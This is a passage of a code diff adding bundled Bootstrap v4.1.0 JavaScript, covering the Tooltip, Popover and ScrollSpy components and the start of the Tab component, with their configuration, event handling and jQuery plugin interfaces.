+      offset: 0,
+      container: false,
+      fallbackPlacement: 'flip',
+      boundary: 'scrollParent'
+    };
+    var HoverState = {
+      SHOW: 'show',
+      OUT: 'out'
+    };
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      INSERTED: "inserted" + EVENT_KEY,
+      CLICK: "click" + EVENT_KEY,
+      FOCUSIN: "focusin" + EVENT_KEY,
+      FOCUSOUT: "focusout" + EVENT_KEY,
+      MOUSEENTER: "mouseenter" + EVENT_KEY,
+      MOUSELEAVE: "mouseleave" + EVENT_KEY
+    };
+    var ClassName = {
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      TOOLTIP: '.tooltip',
+      TOOLTIP_INNER: '.tooltip-inner',
+      ARROW: '.arrow'
+    };
+    var Trigger = {
+      HOVER: 'hover',
+      FOCUS: 'focus',
+      CLICK: 'click',
+      MANUAL: 'manual'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Tooltip =
+    /*#__PURE__*/
+    function () {
+      function Tooltip(element, config) {
+        /**
+         * Check for Popper dependency
+         * Popper - https://popper.js.org
+         */
+        if (typeof Popper === 'undefined') {
+          throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)');
+        } // private
+
+
+        this._isEnabled = true;
+        this._timeout = 0;
+        this._hoverState = '';
+        this._activeTrigger = {};
+        this._popper = null; // Protected
+
+        this.element = element;
+        this.config = this._getConfig(config);
+        this.tip = null;
+
+        this._setListeners();
+      } // Getters
+
+
+      var _proto = Tooltip.prototype;
+
+      // Public
+      _proto.enable = function enable() {
+        this._isEnabled = true;
+      };
+
+      _proto.disable = function disable() {
+        this._isEnabled = false;
+      };
+
+      _proto.toggleEnabled = function toggleEnabled() {
+        this._isEnabled = !this._isEnabled;
+      };
+
+      _proto.toggle = function toggle(event) {
+        if (!this._isEnabled) {
+          return;
+        }
+
+        if (event) {
+          var dataKey = this.constructor.DATA_KEY;
+          var context = $$$1(event.currentTarget).data(dataKey);
+
+          if (!context) {
+            context = new this.constructor(event.currentTarget, this._getDelegateConfig());
+            $$$1(event.currentTarget).data(dataKey, context);
+          }
+
+          context._activeTrigger.click = !context._activeTrigger.click;
+
+          if (context._isWithActiveTrigger()) {
+            context._enter(null, context);
+          } else {
+            context._leave(null, context);
+          }
+        } else {
+          if ($$$1(this.getTipElement()).hasClass(ClassName.SHOW)) {
+            this._leave(null, this);
+
+            return;
+          }
+
+          this._enter(null, this);
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        clearTimeout(this._timeout);
+        $$$1.removeData(this.element, this.constructor.DATA_KEY);
+        $$$1(this.element).off(this.constructor.EVENT_KEY);
+        $$$1(this.element).closest('.modal').off('hide.bs.modal');
+
+        if (this.tip) {
+          $$$1(this.tip).remove();
+        }
+
+        this._isEnabled = null;
+        this._timeout = null;
+        this._hoverState = null;
+        this._activeTrigger = null;
+
+        if (this._popper !== null) {
+          this._popper.destroy();
+        }
+
+        this._popper = null;
+        this.element = null;
+        this.config = null;
+        this.tip = null;
+      };
+
+      _proto.show = function show() {
+        var _this = this;
+
+        if ($$$1(this.element).css('display') === 'none') {
+          throw new Error('Please use show on visible elements');
+        }
+
+        var showEvent = $$$1.Event(this.constructor.Event.SHOW);
+
+        if (this.isWithContent() && this._isEnabled) {
+          $$$1(this.element).trigger(showEvent);
+          var isInTheDom = $$$1.contains(this.element.ownerDocument.documentElement, this.element);
+
+          if (showEvent.isDefaultPrevented() || !isInTheDom) {
+            return;
+          }
+
+          var tip = this.getTipElement();
+          var tipId = Util.getUID(this.constructor.NAME);
+          tip.setAttribute('id', tipId);
+          this.element.setAttribute('aria-describedby', tipId);
+          this.setContent();
+
+          if (this.config.animation) {
+            $$$1(tip).addClass(ClassName.FADE);
+          }
+
+          var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement;
+
+          var attachment = this._getAttachment(placement);
+
+          this.addAttachmentClass(attachment);
+          var container = this.config.container === false ? document.body : $$$1(this.config.container);
+          $$$1(tip).data(this.constructor.DATA_KEY, this);
+
+          if (!$$$1.contains(this.element.ownerDocument.documentElement, this.tip)) {
+            $$$1(tip).appendTo(container);
+          }
+
+          $$$1(this.element).trigger(this.constructor.Event.INSERTED);
+          this._popper = new Popper(this.element, tip, {
+            placement: attachment,
+            modifiers: {
+              offset: {
+                offset: this.config.offset
+              },
+              flip: {
+                behavior: this.config.fallbackPlacement
+              },
+              arrow: {
+                element: Selector.ARROW
+              },
+              preventOverflow: {
+                boundariesElement: this.config.boundary
+              }
+            },
+            onCreate: function onCreate(data) {
+              if (data.originalPlacement !== data.placement) {
+                _this._handlePopperPlacementChange(data);
+              }
+            },
+            onUpdate: function onUpdate(data) {
+              _this._handlePopperPlacementChange(data);
+            }
+          });
+          $$$1(tip).addClass(ClassName.SHOW); // If this is a touch-enabled device we add extra
+          // empty mouseover listeners to the body's immediate children;
+          // only needed because of broken event delegation on iOS
+          // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
+
+          if ('ontouchstart' in document.documentElement) {
+            $$$1(document.body).children().on('mouseover', null, $$$1.noop);
+          }
+
+          var complete = function complete() {
+            if (_this.config.animation) {
+              _this._fixTransition();
+            }
+
+            var prevHoverState = _this._hoverState;
+            _this._hoverState = null;
+            $$$1(_this.element).trigger(_this.constructor.Event.SHOWN);
+
+            if (prevHoverState === HoverState.OUT) {
+              _this._leave(null, _this);
+            }
+          };
+
+          if ($$$1(this.tip).hasClass(ClassName.FADE)) {
+            var transitionDuration = Util.getTransitionDurationFromElement(this.tip);
+            $$$1(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+          } else {
+            complete();
+          }
+        }
+      };
+
+      _proto.hide = function hide(callback) {
+        var _this2 = this;
+
+        var tip = this.getTipElement();
+        var hideEvent = $$$1.Event(this.constructor.Event.HIDE);
+
+        var complete = function complete() {
+          if (_this2._hoverState !== HoverState.SHOW && tip.parentNode) {
+            tip.parentNode.removeChild(tip);
+          }
+
+          _this2._cleanTipClass();
+
+          _this2.element.removeAttribute('aria-describedby');
+
+          $$$1(_this2.element).trigger(_this2.constructor.Event.HIDDEN);
+
+          if (_this2._popper !== null) {
+            _this2._popper.destroy();
+          }
+
+          if (callback) {
+            callback();
+          }
+        };
+
+        $$$1(this.element).trigger(hideEvent);
+
+        if (hideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        $$$1(tip).removeClass(ClassName.SHOW); // If this is a touch-enabled device we remove the extra
+        // empty mouseover listeners we added for iOS support
+
+        if ('ontouchstart' in document.documentElement) {
+          $$$1(document.body).children().off('mouseover', null, $$$1.noop);
+        }
+
+        this._activeTrigger[Trigger.CLICK] = false;
+        this._activeTrigger[Trigger.FOCUS] = false;
+        this._activeTrigger[Trigger.HOVER] = false;
+
+        if ($$$1(this.tip).hasClass(ClassName.FADE)) {
+          var transitionDuration = Util.getTransitionDurationFromElement(tip);
+          $$$1(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+        } else {
+          complete();
+        }
+
+        this._hoverState = '';
+      };
+
+      _proto.update = function update() {
+        if (this._popper !== null) {
+          this._popper.scheduleUpdate();
+        }
+      }; // Protected
+
+
+      _proto.isWithContent = function isWithContent() {
+        return Boolean(this.getTitle());
+      };
+
+      _proto.addAttachmentClass = function addAttachmentClass(attachment) {
+        $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment);
+      };
+
+      _proto.getTipElement = function getTipElement() {
+        this.tip = this.tip || $$$1(this.config.template)[0];
+        return this.tip;
+      };
+
+      _proto.setContent = function setContent() {
+        var $tip = $$$1(this.getTipElement());
+        this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle());
+        $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW);
+      };
+
+      _proto.setElementContent = function setElementContent($element, content) {
+        var html = this.config.html;
+
+        if (typeof content === 'object' && (content.nodeType || content.jquery)) {
+          // Content is a DOM node or a jQuery
+          if (html) {
+            if (!$$$1(content).parent().is($element)) {
+              $element.empty().append(content);
+            }
+          } else {
+            $element.text($$$1(content).text());
+          }
+        } else {
+          $element[html ? 'html' : 'text'](content);
+        }
+      };
+
+      _proto.getTitle = function getTitle() {
+        var title = this.element.getAttribute('data-original-title');
+
+        if (!title) {
+          title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title;
+        }
+
+        return title;
+      }; // Private
+
+
+      _proto._getAttachment = function _getAttachment(placement) {
+        return AttachmentMap[placement.toUpperCase()];
+      };
+
+      _proto._setListeners = function _setListeners() {
+        var _this3 = this;
+
+        var triggers = this.config.trigger.split(' ');
+        triggers.forEach(function (trigger) {
+          if (trigger === 'click') {
+            $$$1(_this3.element).on(_this3.constructor.Event.CLICK, _this3.config.selector, function (event) {
+              return _this3.toggle(event);
+            });
+          } else if (trigger !== Trigger.MANUAL) {
+            var eventIn = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSEENTER : _this3.constructor.Event.FOCUSIN;
+            var eventOut = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSELEAVE : _this3.constructor.Event.FOCUSOUT;
+            $$$1(_this3.element).on(eventIn, _this3.config.selector, function (event) {
+              return _this3._enter(event);
+            }).on(eventOut, _this3.config.selector, function (event) {
+              return _this3._leave(event);
+            });
+          }
+
+          $$$1(_this3.element).closest('.modal').on('hide.bs.modal', function () {
+            return _this3.hide();
+          });
+        });
+
+        if (this.config.selector) {
+          this.config = _objectSpread({}, this.config, {
+            trigger: 'manual',
+            selector: ''
+          });
+        } else {
+          this._fixTitle();
+        }
+      };
+
+      _proto._fixTitle = function _fixTitle() {
+        var titleType = typeof this.element.getAttribute('data-original-title');
+
+        if (this.element.getAttribute('title') || titleType !== 'string') {
+          this.element.setAttribute('data-original-title', this.element.getAttribute('title') || '');
+          this.element.setAttribute('title', '');
+        }
+      };
+
+      _proto._enter = function _enter(event, context) {
+        var dataKey = this.constructor.DATA_KEY;
+        context = context || $$$1(event.currentTarget).data(dataKey);
+
+        if (!context) {
+          context = new this.constructor(event.currentTarget, this._getDelegateConfig());
+          $$$1(event.currentTarget).data(dataKey, context);
+        }
+
+        if (event) {
+          context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true;
+        }
+
+        if ($$$1(context.getTipElement()).hasClass(ClassName.SHOW) || context._hoverState === HoverState.SHOW) {
+          context._hoverState = HoverState.SHOW;
+          return;
+        }
+
+        clearTimeout(context._timeout);
+        context._hoverState = HoverState.SHOW;
+
+        if (!context.config.delay || !context.config.delay.show) {
+          context.show();
+          return;
+        }
+
+        context._timeout = setTimeout(function () {
+          if (context._hoverState === HoverState.SHOW) {
+            context.show();
+          }
+        }, context.config.delay.show);
+      };
+
+      _proto._leave = function _leave(event, context) {
+        var dataKey = this.constructor.DATA_KEY;
+        context = context || $$$1(event.currentTarget).data(dataKey);
+
+        if (!context) {
+          context = new this.constructor(event.currentTarget, this._getDelegateConfig());
+          $$$1(event.currentTarget).data(dataKey, context);
+        }
+
+        if (event) {
+          context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false;
+        }
+
+        if (context._isWithActiveTrigger()) {
+          return;
+        }
+
+        clearTimeout(context._timeout);
+        context._hoverState = HoverState.OUT;
+
+        if (!context.config.delay || !context.config.delay.hide) {
+          context.hide();
+          return;
+        }
+
+        context._timeout = setTimeout(function () {
+          if (context._hoverState === HoverState.OUT) {
+            context.hide();
+          }
+        }, context.config.delay.hide);
+      };
+
+      _proto._isWithActiveTrigger = function _isWithActiveTrigger() {
+        for (var trigger in this._activeTrigger) {
+          if (this._activeTrigger[trigger]) {
+            return true;
+          }
+        }
+
+        return false;
+      };
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, this.constructor.Default, $$$1(this.element).data(), config);
+
+        if (typeof config.delay === 'number') {
+          config.delay = {
+            show: config.delay,
+            hide: config.delay
+          };
+        }
+
+        if (typeof config.title === 'number') {
+          config.title = config.title.toString();
+        }
+
+        if (typeof config.content === 'number') {
+          config.content = config.content.toString();
+        }
+
+        Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);
+        return config;
+      };
+
+      _proto._getDelegateConfig = function _getDelegateConfig() {
+        var config = {};
+
+        if (this.config) {
+          for (var key in this.config) {
+            if (this.constructor.Default[key] !== this.config[key]) {
+              config[key] = this.config[key];
+            }
+          }
+        }
+
+        return config;
+      };
+
+      _proto._cleanTipClass = function _cleanTipClass() {
+        var $tip = $$$1(this.getTipElement());
+        var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);
+
+        if (tabClass !== null && tabClass.length > 0) {
+          $tip.removeClass(tabClass.join(''));
+        }
+      };
+
+      _proto._handlePopperPlacementChange = function _handlePopperPlacementChange(data) {
+        this._cleanTipClass();
+
+        this.addAttachmentClass(this._getAttachment(data.placement));
+      };
+
+      _proto._fixTransition = function _fixTransition() {
+        var tip = this.getTipElement();
+        var initConfigAnimation = this.config.animation;
+
+        if (tip.getAttribute('x-placement') !== null) {
+          return;
+        }
+
+        $$$1(tip).removeClass(ClassName.FADE);
+        this.config.animation = false;
+        this.hide();
+        this.show();
+        this.config.animation = initConfigAnimation;
+      }; // Static
+
+
+      Tooltip._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' && config;
+
+          if (!data && /dispose|hide/.test(config)) {
+            return;
+          }
+
+          if (!data) {
+            data = new Tooltip(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Tooltip, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }, {
+        key: "NAME",
+        get: function get() {
+          return NAME;
+        }
+      }, {
+        key: "DATA_KEY",
+        get: function get() {
+          return DATA_KEY;
+        }
+      }, {
+        key: "Event",
+        get: function get() {
+          return Event;
+        }
+      }, {
+        key: "EVENT_KEY",
+        get: function get() {
+          return EVENT_KEY;
+        }
+      }, {
+        key: "DefaultType",
+        get: function get() {
+          return DefaultType;
+        }
+      }]);
+
+      return Tooltip;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1.fn[NAME] = Tooltip._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Tooltip;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Tooltip._jQueryInterface;
+    };
+
+    return Tooltip;
+  }($, Popper);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): popover.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Popover = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'popover';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.popover';
+    var EVENT_KEY = "." + DATA_KEY;
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var CLASS_PREFIX = 'bs-popover';
+    var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g');
+
+    var Default = _objectSpread({}, Tooltip.Default, {
+      placement: 'right',
+      trigger: 'click',
+      content: '',
+      template: '<div class="popover" role="tooltip">' + '<div class="arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div></div>'
+    });
+
+    var DefaultType = _objectSpread({}, Tooltip.DefaultType, {
+      content: '(string|element|function)'
+    });
+
+    var ClassName = {
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      TITLE: '.popover-header',
+      CONTENT: '.popover-body'
+    };
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      INSERTED: "inserted" + EVENT_KEY,
+      CLICK: "click" + EVENT_KEY,
+      FOCUSIN: "focusin" + EVENT_KEY,
+      FOCUSOUT: "focusout" + EVENT_KEY,
+      MOUSEENTER: "mouseenter" + EVENT_KEY,
+      MOUSELEAVE: "mouseleave" + EVENT_KEY
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Popover =
+    /*#__PURE__*/
+    function (_Tooltip) {
+      _inheritsLoose(Popover, _Tooltip);
+
+      function Popover() {
+        return _Tooltip.apply(this, arguments) || this;
+      }
+
+      var _proto = Popover.prototype;
+
+      // Overrides
+      _proto.isWithContent = function isWithContent() {
+        return this.getTitle() || this._getContent();
+      };
+
+      _proto.addAttachmentClass = function addAttachmentClass(attachment) {
+        $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment);
+      };
+
+      _proto.getTipElement = function getTipElement() {
+        this.tip = this.tip || $$$1(this.config.template)[0];
+        return this.tip;
+      };
+
+      _proto.setContent = function setContent() {
+        var $tip = $$$1(this.getTipElement()); // We use append for html objects to maintain js events
+
+        this.setElementContent($tip.find(Selector.TITLE), this.getTitle());
+
+        var content = this._getContent();
+
+        if (typeof content === 'function') {
+          content = content.call(this.element);
+        }
+
+        this.setElementContent($tip.find(Selector.CONTENT), content);
+        $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW);
+      }; // Private
+
+
+      _proto._getContent = function _getContent() {
+        return this.element.getAttribute('data-content') || this.config.content;
+      };
+
+      _proto._cleanTipClass = function _cleanTipClass() {
+        var $tip = $$$1(this.getTipElement());
+        var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);
+
+        if (tabClass !== null && tabClass.length > 0) {
+          $tip.removeClass(tabClass.join(''));
+        }
+      }; // Static
+
+
+      Popover._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' ? config : null;
+
+          if (!data && /destroy|hide/.test(config)) {
+            return;
+          }
+
+          if (!data) {
+            data = new Popover(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Popover, null, [{
+        key: "VERSION",
+        // Getters
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }, {
+        key: "NAME",
+        get: function get() {
+          return NAME;
+        }
+      }, {
+        key: "DATA_KEY",
+        get: function get() {
+          return DATA_KEY;
+        }
+      }, {
+        key: "Event",
+        get: function get() {
+          return Event;
+        }
+      }, {
+        key: "EVENT_KEY",
+        get: function get() {
+          return EVENT_KEY;
+        }
+      }, {
+        key: "DefaultType",
+        get: function get() {
+          return DefaultType;
+        }
+      }]);
+
+      return Popover;
+    }(Tooltip);
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1.fn[NAME] = Popover._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Popover;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Popover._jQueryInterface;
+    };
+
+    return Popover;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): scrollspy.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var ScrollSpy = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'scrollspy';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.scrollspy';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Default = {
+      offset: 10,
+      method: 'auto',
+      target: ''
+    };
+    var DefaultType = {
+      offset: 'number',
+      method: 'string',
+      target: '(string|element)'
+    };
+    var Event = {
+      ACTIVATE: "activate" + EVENT_KEY,
+      SCROLL: "scroll" + EVENT_KEY,
+      LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      DROPDOWN_ITEM: 'dropdown-item',
+      DROPDOWN_MENU: 'dropdown-menu',
+      ACTIVE: 'active'
+    };
+    var Selector = {
+      DATA_SPY: '[data-spy="scroll"]',
+      ACTIVE: '.active',
+      NAV_LIST_GROUP: '.nav, .list-group',
+      NAV_LINKS: '.nav-link',
+      NAV_ITEMS: '.nav-item',
+      LIST_ITEMS: '.list-group-item',
+      DROPDOWN: '.dropdown',
+      DROPDOWN_ITEMS: '.dropdown-item',
+      DROPDOWN_TOGGLE: '.dropdown-toggle'
+    };
+    var OffsetMethod = {
+      OFFSET: 'offset',
+      POSITION: 'position'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var ScrollSpy =
+    /*#__PURE__*/
+    function () {
+      function ScrollSpy(element, config) {
+        var _this = this;
+
+        this._element = element;
+        this._scrollElement = element.tagName === 'BODY' ? window : element;
+        this._config = this._getConfig(config);
+        this._selector = this._config.target + " " + Selector.NAV_LINKS + "," + (this._config.target + " " + Selector.LIST_ITEMS + ",") + (this._config.target + " " + Selector.DROPDOWN_ITEMS);
+        this._offsets = [];
+        this._targets = [];
+        this._activeTarget = null;
+        this._scrollHeight = 0;
+        $$$1(this._scrollElement).on(Event.SCROLL, function (event) {
+          return _this._process(event);
+        });
+        this.refresh();
+
+        this._process();
+      } // Getters
+
+
+      var _proto = ScrollSpy.prototype;
+
+      // Public
+      _proto.refresh = function refresh() {
+        var _this2 = this;
+
+        var autoMethod = this._scrollElement === this._scrollElement.window ? OffsetMethod.OFFSET : OffsetMethod.POSITION;
+        var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method;
+        var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0;
+        this._offsets = [];
+        this._targets = [];
+        this._scrollHeight = this._getScrollHeight();
+        var targets = $$$1.makeArray($$$1(this._selector));
+        targets.map(function (element) {
+          var target;
+          var targetSelector = Util.getSelectorFromElement(element);
+
+          if (targetSelector) {
+            target = $$$1(targetSelector)[0];
+          }
+
+          if (target) {
+            var targetBCR = target.getBoundingClientRect();
+
+            if (targetBCR.width || targetBCR.height) {
+              // TODO (fat): remove sketch reliance on jQuery position/offset
+              return [$$$1(target)[offsetMethod]().top + offsetBase, targetSelector];
+            }
+          }
+
+          return null;
+        }).filter(function (item) {
+          return item;
+        }).sort(function (a, b) {
+          return a[0] - b[0];
+        }).forEach(function (item) {
+          _this2._offsets.push(item[0]);
+
+          _this2._targets.push(item[1]);
+        });
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        $$$1(this._scrollElement).off(EVENT_KEY);
+        this._element = null;
+        this._scrollElement = null;
+        this._config = null;
+        this._selector = null;
+        this._offsets = null;
+        this._targets = null;
+        this._activeTarget = null;
+        this._scrollHeight = null;
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+
+        if (typeof config.target !== 'string') {
+          var id = $$$1(config.target).attr('id');
+
+          if (!id) {
+            id = Util.getUID(NAME);
+            $$$1(config.target).attr('id', id);
+          }
+
+          config.target = "#" + id;
+        }
+
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._getScrollTop = function _getScrollTop() {
+        return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;
+      };
+
+      _proto._getScrollHeight = function _getScrollHeight() {
+        return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);
+      };
+
+      _proto._getOffsetHeight = function _getOffsetHeight() {
+        return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;
+      };
+
+      _proto._process = function _process() {
+        var scrollTop = this._getScrollTop() + this._config.offset;
+
+        var scrollHeight = this._getScrollHeight();
+
+        var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight();
+
+        if (this._scrollHeight !== scrollHeight) {
+          this.refresh();
+        }
+
+        if (scrollTop >= maxScroll) {
+          var target = this._targets[this._targets.length - 1];
+
+          if (this._activeTarget !== target) {
+            this._activate(target);
+          }
+
+          return;
+        }
+
+        if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {
+          this._activeTarget = null;
+
+          this._clear();
+
+          return;
+        }
+
+        for (var i = this._offsets.length; i--;) {
+          var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]);
+
+          if (isActiveTarget) {
+            this._activate(this._targets[i]);
+          }
+        }
+      };
+
+      _proto._activate = function _activate(target) {
+        this._activeTarget = target;
+
+        this._clear();
+
+        var queries = this._selector.split(','); // eslint-disable-next-line arrow-body-style
+
+
+        queries = queries.map(function (selector) {
+          return selector + "[data-target=\"" + target + "\"]," + (selector + "[href=\"" + target + "\"]");
+        });
+        var $link = $$$1(queries.join(','));
+
+        if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {
+          $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);
+          $link.addClass(ClassName.ACTIVE);
+        } else {
+          // Set triggered link as active
+          $link.addClass(ClassName.ACTIVE); // Set triggered links parents as active
+          // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor
+
+          $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_LINKS + ", " + Selector.LIST_ITEMS).addClass(ClassName.ACTIVE); // Handle special case when .nav-link is inside .nav-item
+
+          $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE);
+        }
+
+        $$$1(this._scrollElement).trigger(Event.ACTIVATE, {
+          relatedTarget: target
+        });
+      };
+
+      _proto._clear = function _clear() {
+        $$$1(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE);
+      }; // Static
+
+
+      ScrollSpy._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' && config;
+
+          if (!data) {
+            data = new ScrollSpy(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(ScrollSpy, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return ScrollSpy;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(window).on(Event.LOAD_DATA_API, function () {
+      var scrollSpys = $$$1.makeArray($$$1(Selector.DATA_SPY));
+
+      for (var i = scrollSpys.length; i--;) {
+        var $spy = $$$1(scrollSpys[i]);
+
+        ScrollSpy._jQueryInterface.call($spy, $spy.data());
+      }
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = ScrollSpy._jQueryInterface;
+    $$$1.fn[NAME].Constructor = ScrollSpy;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return ScrollSpy._jQueryInterface;
+    };
+
+    return ScrollSpy;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): tab.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Tab = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'tab';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.tab';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      DROPDOWN_MENU: 'dropdown-menu',
+      ACTIVE: 'active',
+      DISABLED: 'disabled',
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      DROPDOWN: '.dropdown',
+      NAV_LIST_GROUP: '.nav, .list-group',
+      ACTIVE: '.active',
+      ACTIVE_UL: '> li > .active',
+      DATA_TOGGLE: '[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',
+      DROPDOWN_TOGGLE: '.dropdown-toggle',
